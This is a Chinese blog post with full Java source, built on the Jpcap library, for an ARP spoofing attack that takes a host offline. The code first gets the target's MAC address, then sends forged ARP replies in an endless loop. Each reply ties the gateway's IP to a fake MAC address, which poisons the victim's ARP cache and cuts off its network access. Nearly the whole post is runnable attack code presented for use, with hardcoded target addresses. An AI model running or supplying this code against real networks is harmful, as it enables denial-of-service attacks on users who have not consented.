1. 程式人生 > >基於Jpcap的Java ARP斷網攻擊

基於Jpcap的Java ARP斷網攻擊

下面的程式碼執行前需要安裝jpcap,安裝方法百度一下很多,不過需要注意版本~

程式碼註釋還比較多,部分同學可能還需瞭解一些計算機網路的知識才能看懂

package com.arpattack;
   
import java.io.IOException;
import java.net.InetAddress;
import java.util.Arrays;
   
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.Packet;
   
/**
* 基於Jpcap的ARP攻擊程式範例
* @author 陳祖煌
* @version 1.0
*/
public class ARPAttack {
   
        /**
        * 本地主機的0號網路裝置,根據具體實際情況對引數0進行修改
        */
        public static NetworkInterface device = JpcapCaptor.getDeviceList()[0];
   
        /**
        * 通過傳送ARP請求包來獲取某一IP地址主機的MAC地址。
        * @param ip //未知MAC地址主機的IP地址
        * @return //已知IP地址的MAC地址
        * @throws IOException
        */
        public static byte[] getOtherMAC(String ip) throws IOException{
                JpcapCaptor jc = JpcapCaptor.openDevice(device,2000,false,3000); //開啟網路裝置,用來偵聽
                JpcapSender sender = jc.getJpcapSenderInstance(); //傳送器JpcapSender,用來發送報文
                InetAddress senderIP = InetAddress.getByName("10.96.33.232"); //設定本地主機的IP地址,方便接收對方返回的報文
                InetAddress targetIP = InetAddress.getByName(ip); //目標主機的IP地址
   
                ARPPacket arp=new ARPPacket(); //開始構造一個ARP包
                arp.hardtype=ARPPacket.HARDTYPE_ETHER; //硬體型別
                arp.prototype=ARPPacket.PROTOTYPE_IP; //協議型別
                arp.operation=ARPPacket.ARP_REQUEST; //指明是ARP請求包
                arp.hlen=6; //實體地址長度
                arp.plen=4; //協議地址長度
                arp.sender_hardaddr=device.mac_address; //ARP包的傳送端乙太網地址,在這裡即本地主機地址
                arp.sender_protoaddr=senderIP.getAddress(); //傳送端IP地址, 在這裡即本地IP地址
   
                byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255}; //廣播地址
                arp.target_hardaddr=broadcast; //設定目的端的乙太網地址為廣播地址
                arp.target_protoaddr=targetIP.getAddress(); //目的端IP地址
   
                //構造以太幀首部
                EthernetPacket ether=new EthernetPacket();
                ether.frametype=EthernetPacket.ETHERTYPE_ARP; //幀型別
                ether.src_mac=device.mac_address; //源MAC地址
                ether.dst_mac=broadcast; //乙太網目的地址,廣播地址
                arp.datalink=ether; //將arp報文的資料鏈路層的幀設定為剛剛構造的以太幀賦給
   
                sender.sendPacket(arp); //傳送ARP報文
   
                while(true){ //獲取ARP回覆包,從中提取出目的主機的MAC地址,如果返回的是閘道器地址,表明目的IP不是區域網內的地址
                        Packet packet = jc.getPacket();
                        if(packet instanceof ARPPacket){
                                ARPPacket p=(ARPPacket)packet;
                                if(p==null){
                                        throw new IllegalArgumentException(targetIP+" is not a local address"); //這種情況也屬於目的主機不是本地地址
                                 }
                                if(Arrays.equals(p.target_protoaddr,senderIP.getAddress())){
                                        System.out.println("get mac ok");
                                        return p.sender_hardaddr; //返回
                                }
                        }
                }
        }
   
        /**
        * 將字串形式的MAC地址轉換成存放在byte陣列內的MAC地址
        * @param str 字串形式的MAC地址,如:AA-AA-AA-AA-AA
        * @return 儲存在byte陣列內的MAC地址
        */
        public static byte[] stomac(String str) {
                byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
                String[] temp = str.split("-");
                for (int x = 0; x < temp.length; x++) {
                        mac[x] = (byte) ((Integer.parseInt(temp[x], 16)) & 0xff);
                }
                return mac;
        }
   
        /**
        * 執行ARP斷網攻擊。原理是:冒充閘道器傳送出來的ARP應答包,令接收端更改其ARP快取表,修改閘道器IP地址對應的MAC地址,從而令資料無法正常通過閘道器發出。
        * @param ip
        * @param time
        * @throws InterruptedException
        * @throws IOException
        */
        public static void ARPAttack(String ip, int time) throws InterruptedException, IOException{
                JpcapCaptor jpcap = JpcapCaptor.openDevice(device, 65535, false, 3000);
                jpcap.setFilter("arp", true);
                JpcapSender sender = JpcapSender.openDevice(device);
   
                ARPPacket arp = new ARPPacket();
                arp.hardtype = ARPPacket.HARDTYPE_ETHER;//硬體型別
                arp.prototype = ARPPacket.PROTOTYPE_IP; //協議型別
                arp.operation = ARPPacket.ARP_REPLY; //指明是ARP應答包包
                arp.hlen = 6;
                arp.plen = 4;
   
                byte[] srcmac = stomac("00-0D-2B-2E-B1-0A"); // 偽裝的MAC地址,這裡亂寫就行,不過要符合格式、十六進位制
                arp.sender_hardaddr = srcmac;
                arp.sender_protoaddr = InetAddress.getByName("10.96.0.1").getAddress();
   
                arp.target_hardaddr=getOtherMAC(ip);
                arp.target_protoaddr=InetAddress.getByName(ip).getAddress();
   
                //設定資料鏈路層的幀
                EthernetPacket ether=new EthernetPacket();
                ether.frametype=EthernetPacket.ETHERTYPE_ARP;
                ether.src_mac= srcmac; //停止攻擊一段時間後,目標主機會自動恢復網路。若要主動恢復,這裡可用getOtherMAC("10.96.0.1");
                ether.dst_mac=getOtherMAC(ip);
                arp.datalink=ether;
   
                // 傳送ARP應答包 。因為一般主機會間隔一定時間傳送ARP請求包詢問閘道器地址,所以這裡需要設定一個攻擊週期。
                while (true) {
                        System.out.println("sending ARP..");
                        sender.sendPacket(arp);
                        Thread.sleep(time);
                }
        }
   
  
        /**
        * 程式入口
        * @param args
        * @throws IOException
        * @throws InterruptedException
        */
        public static void main(String[] args) throws InterruptedException, IOException {
                ARPAttack("10.96.81.56", 2000);
        }
}